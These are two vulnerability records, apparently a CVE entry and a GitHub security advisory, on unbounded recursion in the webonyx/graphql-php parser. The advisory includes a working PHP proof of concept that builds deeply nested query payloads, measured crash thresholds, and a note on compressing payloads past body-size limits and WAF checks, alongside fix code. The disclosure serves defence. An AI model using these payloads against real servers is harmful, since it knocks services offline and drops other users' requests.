{
  "affected": [
    {
      "affectedData": [
        {
          "product": "graphql-php",
          "vendor": "webonyx",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 15.32.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "webonyx graphql-php is a PHP implementation of the GraphQL specification. Prior to 15.32.3, GraphQL\\Language\\Parser performs recursive descent without a recursion limit in parseSelectionSet, parseValueLiteral, and parseTypeReference. A remote attacker can submit deeply nested selection sets, object or list values, or list types that exhaust the PHP process stack during pre-validation parsing, before query validation and complexity controls run. The resulting SIGSEGV can terminate PHP-FPM workers or long-running Swoole, RoadRunner, ReactPHP, or CLI processes and cannot be caught by application-level exception handling. This issue is fixed in version 15.32.3."
    }
  ],
  "id": "CVE-2026-107376",
  "lastModified": "2026-10-08T21:34:48.800",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-107376",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-08T18:39:30.355689Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-08T18:17:22.373",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/webonyx/graphql-php/commit/6c1d6009a0f7557f66753bcfd07badd15acf77f4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/webonyx/graphql-php/commit/7b7f2080ca5f7d5340a696fc5701b19a9222d2c2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/webonyx/graphql-php/releases/tag/v15.32.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/webonyx/graphql-php/security/advisories/GHSA-r7cg-qjjm-xhqq"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/webonyx/graphql-php/security/advisories/GHSA-r7cg-qjjm-xhqq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-674"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 15.32.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "webonyx/graphql-php"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "15.32.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T17:24:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`GraphQL\\Language\\Parser` is a recursive descent parser with no recursion depth limit and no `zend.max_allowed_stack_size` interaction. Crafted nested queries trigger a SIGSEGV in the PHP runtime, killing the FPM/CLI worker process. Smallest crashing payload is approximately 74 KB.\n\n## Affected Component\n\n- `src/Language/Parser.php` -- the `Parser` class (no recursion depth tracking)\n- `src/Language/Lexer.php` -- the `Lexer` class\n\n## Severity\n\n**HIGH (8.2)** -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H\n\nIntegrity is Low because the entire PHP process (FPM worker, CLI process, Swoole worker, RoadRunner worker, etc.) is terminated by SIGSEGV. Every concurrent request handled by the same process is dropped along with the attacker\u0027s request, with no error message, no log entry, and no recovery path beyond restart. The 74 KB minimum crashing payload sits well below any common HTTP body size limit, and the failure mode is **the worst possible**: not catchable, not observable, no diagnostics.\n\n## Description\n\n`GraphQL\\Language\\Parser` parses GraphQL documents using mutually recursive PHP methods (`parseValueLiteral`, `parseObject`, `parseObjectField`, `parseList`, `parseSelectionSet`, `parseSelection`, `parseField`, `parseTypeReference`, `parseInlineFragment`). The constructor (`Parser.php:325`) accepts only three options:\n\n```php\n// src/Language/Parser.php:64\n/**\n * @phpstan-type ParserOptions array{\n *   noLocation?: bool,\n *   allowLegacySDLEmptyFields?: bool,\n *   allowLegacySDLImplementsInterfaces?: bool,\n * }\n */\n```\n\nThere is **no `maxTokens`, no `maxDepth`, no `maxRecursionDepth`, no token counter, and no recursion depth counter** anywhere in the parser or lexer. PHP recursion is bounded only by the C stack size (typically 8 MB via `ulimit -s 8192`).\n\nWhen the C stack is exhausted by graphql-php\u0027s recursive parser, **PHP segfaults**. The PHP 8.3 runtime ships with `zend.max_allowed_stack_size` (default 0 = auto-detect), which is supposed to convert userland recursion overflow into a catchable `Stack overflow detected` error. **In practice, this protection does not catch the graphql-php parser overflow**: testing with PHP 8.3.30 in default Docker configuration, every crashing depth produces SIGSEGV (exit code 139), not a catchable error.\n\nThis finding has been tested against the **latest stable release `webonyx/graphql-php@v15.31.4`** running on PHP 8.3.30.\n\n## Root Cause\n\n```php\n// src/Language/Parser.php:168\nclass Parser\n{\n    // ... no recursionDepth field ...\n    private Lexer $lexer;\n\n    // src/Language/Parser.php:325\n    public function __construct($source, array $options = [])\n    {\n        $sourceObj = $source instanceof Source\n            ? $source\n            : new Source($source);\n        $this-\u003elexer = new Lexer($sourceObj, $options);\n    }\n```\n\nThere is no field tracking recursion depth. Every recursive parse method calls itself without bound. PHP function call frames are small (~256 bytes each), but the cumulative depth needed by recursive descent for a GraphQL value literal exhausts an 8 MB stack at approximately 26,000-37,000 levels of input nesting (depending on the call chain depth per AST level).\n\n## Proof of Concept\n\n```php\n// composer require webonyx/graphql-php:v15.31.4\n\u003c?php\nrequire __DIR__.\u0027/vendor/autoload.php\u0027;\nuse GraphQL\\Language\\Parser;\n\n// Each invocation tests one (vector, depth) pair so we can observe per-process\n// exit code. SIGSEGV cannot be caught by PHP try/catch.\n$v = $argv[1]; $d = (int)$argv[2];\n\nswitch ($v) {\n    case \u0027A\u0027: $q = \"{ a(x: \" . str_repeat(\u0027{a: \u0027, $d) . \u00271\u0027 . str_repeat(\u0027}\u0027, $d) . \") }\"; break;\n    case \u0027B\u0027: $q = str_repeat(\u0027{ a\u0027, $d) . str_repeat(\u0027 }\u0027, $d); break;\n    case \u0027C\u0027: $q = \"{ a(x: \" . str_repeat(\u0027[\u0027, $d) . \u00271\u0027 . str_repeat(\u0027]\u0027, $d) . \") }\"; break;\n    case \u0027D\u0027: $q = \"query(\\$v: \" . str_repeat(\u0027[\u0027, $d) . \"Int\" . str_repeat(\u0027]\u0027, $d) . \") { a }\"; break;\n}\n\ntry {\n    Parser::parse($q);\n    echo \"OK depth=$d size=\" . strlen($q) . \"\\n\";\n} catch (\\Throwable $e) {\n    echo \"ERR \" . get_class($e) . \": \" . substr($e-\u003egetMessage(), 0, 80) . \"\\n\";\n    exit(1);\n}\n```\n\n### Crash thresholds measured on `webonyx/graphql-php@v15.31.4`, PHP 8.3.30, ulimit -s 8192, Linux x86_64\n\nEach vector was bisected to find the smallest crashing depth. Process exit code 139 = 128 + SIGSEGV (11).\n\n| Vector | Recursive call chain | last_OK_depth | crash_depth | Crash payload size |\n|--------|----------------------|---:|---:|---:|\n| A: nested object values `{a:{a:..}}` | `parseValueLiteral` -\u003e `parseObject` -\u003e `parseObjectField` -\u003e `parseValueLiteral` | 25,781 | **26,250** | ~129 KB |\n| B: nested selection sets `{a{a{..}}}` | `parseSelectionSet` -\u003e `parseSelection` -\u003e `parseField` -\u003e `parseSelectionSet` | 25,781 | **26,250** | ~129 KB |\n| C: nested list values `[[..1..]]` | `parseValueLiteral` -\u003e `parseList` -\u003e `parseValueLiteral` | 37,187 | **37,500** | **~74 KB** |\n| D: nested list types `[[Int]]` | `parseTypeReference` -\u003e `parseTypeReference` | 87,187 | **87,500** | ~174 KB |\n\nThe smallest reliable crashing payload is **vector C (nested list values) at approximately 74 KB**. All four vectors stay under any field, complexity, or depth validation rule because they crash at parse time, before validation runs.\n\n### Process exit observed\n\n```\n$ php -d xdebug.mode=off poc_one.php C 37500\n$ echo $?\n139\n$\n```\n\nStandard error contains no PHP error message, no stack trace, no log entry. The process is killed by the kernel via SIGSEGV. In a php-fpm deployment, the FPM master logs `WARNING: [pool www] child 12345 exited on signal 11 (SIGSEGV)` and respawns the worker, dropping any in-flight requests on that worker.\n\n### `zend.max_allowed_stack_size` does not help\n\nPHP 8.3 introduced `zend.max_allowed_stack_size` (default 0 = auto-detect from `pthread_attr_getstacksize`) to detect userland recursion overflow and raise a catchable `Stack overflow detected` error. In testing against graphql-php v15.31.4, this protection does **not** prevent the segfault:\n\n```\n=== Default settings ===\n$ php -d xdebug.mode=off poc.php A 30000\nSegmentation fault\nEXIT=139\n\n=== zend.max_allowed_stack_size=2M ===\n$ php -d zend.max_allowed_stack_size=2097152 poc.php A 30000\nSegmentation fault\nEXIT=139\n\n=== zend.max_allowed_stack_size=1M, reserved=128K ===\n$ php -d zend.max_allowed_stack_size=1048576 -d zend.reserved_stack_size=131072 poc.php A 30000\nSegmentation fault\nEXIT=139\n\n=== ulimit -s 4096, default zend settings ===\n$ php -d xdebug.mode=off poc.php A 15000\nSegmentation fault\nEXIT=139\n```\n\nEvery configuration tested produces SIGSEGV. The runtime check is not catching this overflow class, possibly because the per-frame stack consumption is below the per-call check granularity, or because the auto-detection of the available stack diverges from the actual `ulimit -s` in containerized environments. Either way, default PHP 8.3 configurations as shipped by official Docker images do not protect against this.\n\n## Why try/catch cannot help\n\nPHP\u0027s `try { Parser::parse($q); } catch (\\Throwable $e) { ... }` cannot catch SIGSEGV. The signal is delivered by the kernel after the C stack pointer crosses the guard page; the PHP runtime never gets a chance to raise a userland exception. The process exits with status 139 and the `catch` block is never entered.\n\n## Impact\n\n- **Process termination**: a single 74 KB POST kills the entire PHP process that handles it. In php-fpm, the worker is killed and respawned by the master; every other in-flight request on that worker is dropped. In long-running PHP runtimes (Swoole, RoadRunner, ReactPHP), the entire daemon dies.\n- **Pre-validation**: `Parser::parse` is invoked before any validation rule. Field count caps, complexity analyzers, persisted query allow-lists, and all custom validators run after parsing and therefore cannot intercept the crash.\n- **No catchable error**: unlike a slow query, a memory_limit exceeded, or a parse error, SIGSEGV cannot be intercepted by PHP. There is no error log entry from the PHP application; only the FPM master log shows `child exited on signal 11`.\n- **Tiny payload**: 74 KB is well below every common HTTP body size limit. The query is also extremely compressible: `[` repeated 37,500 times compresses to a few hundred bytes via gzip, bypassing nginx `client_max_body_size`, AWS ALB body-size caps, and WAF inspection of the encoded payload.\n- **Ecosystem reach**: webonyx/graphql-php is the parser used by **Lighthouse** (Laravel), **Overblog/GraphQLBundle** (Symfony), **wp-graphql** (WordPress), **Drupal GraphQL module**, and the majority of PHP GraphQL servers. Any of these is exposed unless the front layer rejects the decompressed payload before reaching the parser.\n\n## Affected Versions\n\n- **`webonyx/graphql-php@v15.31.4`** (latest stable as of 2026-04-08): all four vectors confirmed by direct measurement.\n- The recursive descent design has been unchanged since the parser was rewritten in v15.x. Earlier 15.x and 14.x releases share the same code path and are believed vulnerable but were not retested individually.\n\n## Remediation\n\n### Option 1 -- Add a parser-level recursion depth counter (recommended)\n\nAdd a `recursionDepth` and `maxRecursionDepth` field to `GraphQL\\Language\\Parser`. Increment at the entry of each recursive method, decrement on return, and throw a `SyntaxError` when it exceeds the configured limit. A sensible default is 256: well above any realistic legitimate query, and approximately 100x below the smallest current crash threshold.\n\n```php\n// src/Language/Parser.php\nclass Parser\n{\n    private int $recursionDepth = 0;\n    private int $maxRecursionDepth;\n\n    public function __construct($source, array $options = [])\n    {\n        $this-\u003emaxRecursionDepth = $options[\u0027maxRecursionDepth\u0027] ?? 256;\n        // ... existing body ...\n    }\n\n    private function parseValueLiteral(bool $isConst): ValueNode\n    {\n        if (++$this-\u003erecursionDepth \u003e $this-\u003emaxRecursionDepth) {\n            throw new SyntaxError(\n                $this-\u003elexer-\u003esource,\n                $this-\u003elexer-\u003etoken-\u003estart,\n                \"Document exceeds maximum allowed recursion depth of {$this-\u003emaxRecursionDepth}.\"\n            );\n        }\n        try {\n            // ... existing body ...\n        } finally {\n            --$this-\u003erecursionDepth;\n        }\n    }\n}\n```\n\nApply the same pattern to `parseSelectionSet`, `parseObject`, `parseObjectField`, `parseList`, `parseTypeReference`, `parseInlineFragment`, and `parseField`. The thrown `SyntaxError` is a normal PHP exception and is fully catchable by user code.\n\n### Option 2 -- Iterative parsing for the deepest call chains\n\nRewrite `parseValueLiteral` / `parseObject` / `parseList` and `parseTypeReference` using an explicit work stack instead of mutual recursion. This removes the call frame budget entirely for those vectors but does not address `parseSelectionSet`, which is harder to convert.\n\n### Option 3 -- Recommend a token limit option in addition to depth\n\ngraphql-php currently has **no token limit option at all**. Adding a `maxTokens` parser option would provide defense in depth even if the recursion limit is misconfigured.\n\nThe strongest fix is Option 1 with a non-zero default for `maxRecursionDepth`.\n\n## Audit status of related parser-side findings on graphql-php 15.31.4\n\nThe following two related parser/validator findings were tested against `webonyx/graphql-php@v15.31.4`.\n\n### Token-limit comment bypass\n\n**Not applicable**: graphql-php exposes **no `maxTokens` option of any kind**. The bypass class does not apply because there is no token counter to bypass. However, this is itself a finding worth documenting: graphql-php has **no parser-side resource limits whatsoever**. A 391 KB comment-padded payload (100,000 comment lines) is parsed in 193 ms with a +18.4 MB heap delta, with no upper bound. Operators relying on graphql-php as their primary line of defense have no parser-level mitigation against query-size DoS, only the global `memory_limit` and PHP\u0027s `post_max_size`.\n\nThe `Lexer::lookahead` method does loop while `$token-\u003ekind === Token::COMMENT` (so comments are silently consumed before any per-token check would run), but in graphql-php this is moot because there is no `maxTokens` counter to bypass in the first place.\n\n### `OverlappingFieldsCanBeMerged` validation DoS\n\ngraphql-php **is** vulnerable. `src/Validator/Rules/OverlappingFieldsCanBeMerged.php:311` contains an `O(n^2)` pairwise loop, and inline fragments are flattened into the same `$astAndDefs` map at line 266 (`case $selection instanceof InlineFragmentNode: $this-\u003einternalCollectFieldsAndFragmentNames(... $astAndDefs ...)`), bypassing the named-fragment cache. Measured validation cost: 117 seconds for a 364 KB query (200 outer x 100 inner inline fragments). This is documented in a separate advisory: see `GHSA_REPORT_GRAPHQL_PHP_15-31-4_OVERLAPPING_FIELDS.md`.\n\nThis audit covers the three parser-side and validation-side findings tracked together for this implementation. The parser stack overflow documented above and the `OverlappingFieldsCanBeMerged` validation DoS are exploitable on graphql-php 15.31.4; the token-limit comment bypass is not applicable because there is no token limit option to bypass (which is itself a defense-in-depth gap).\n\n## Resources\n\n- PHP documentation [`zend.max_allowed_stack_size`](https://www.php.net/manual/en/ini.core.php#ini.zend.max-allowed-stack-size) -- introduced in PHP 8.3\n- Linux signal(7) -- SIGSEGV (signal 11) is delivered by the kernel for invalid memory access; PHP cannot intercept it\n- Companion advisory for this implementation: `OverlappingFieldsCanBeMerged` quadratic validation DoS via flattened inline fragments (Quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments).",
  "id": "GHSA-r7cg-qjjm-xhqq",
  "modified": "2026-05-05T17:24:57Z",
  "published": "2026-05-05T17:24:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webonyx/graphql-php/security/advisories/GHSA-r7cg-qjjm-xhqq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webonyx/graphql-php/commit/7b7f2080ca5f7d5340a696fc5701b19a9222d2c2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webonyx/graphql-php"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webonyx/graphql-php/releases/tag/v15.32.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webonyx/graphql-php has unbounded recursion in parser that causes stack overflow on crafted nested input"
}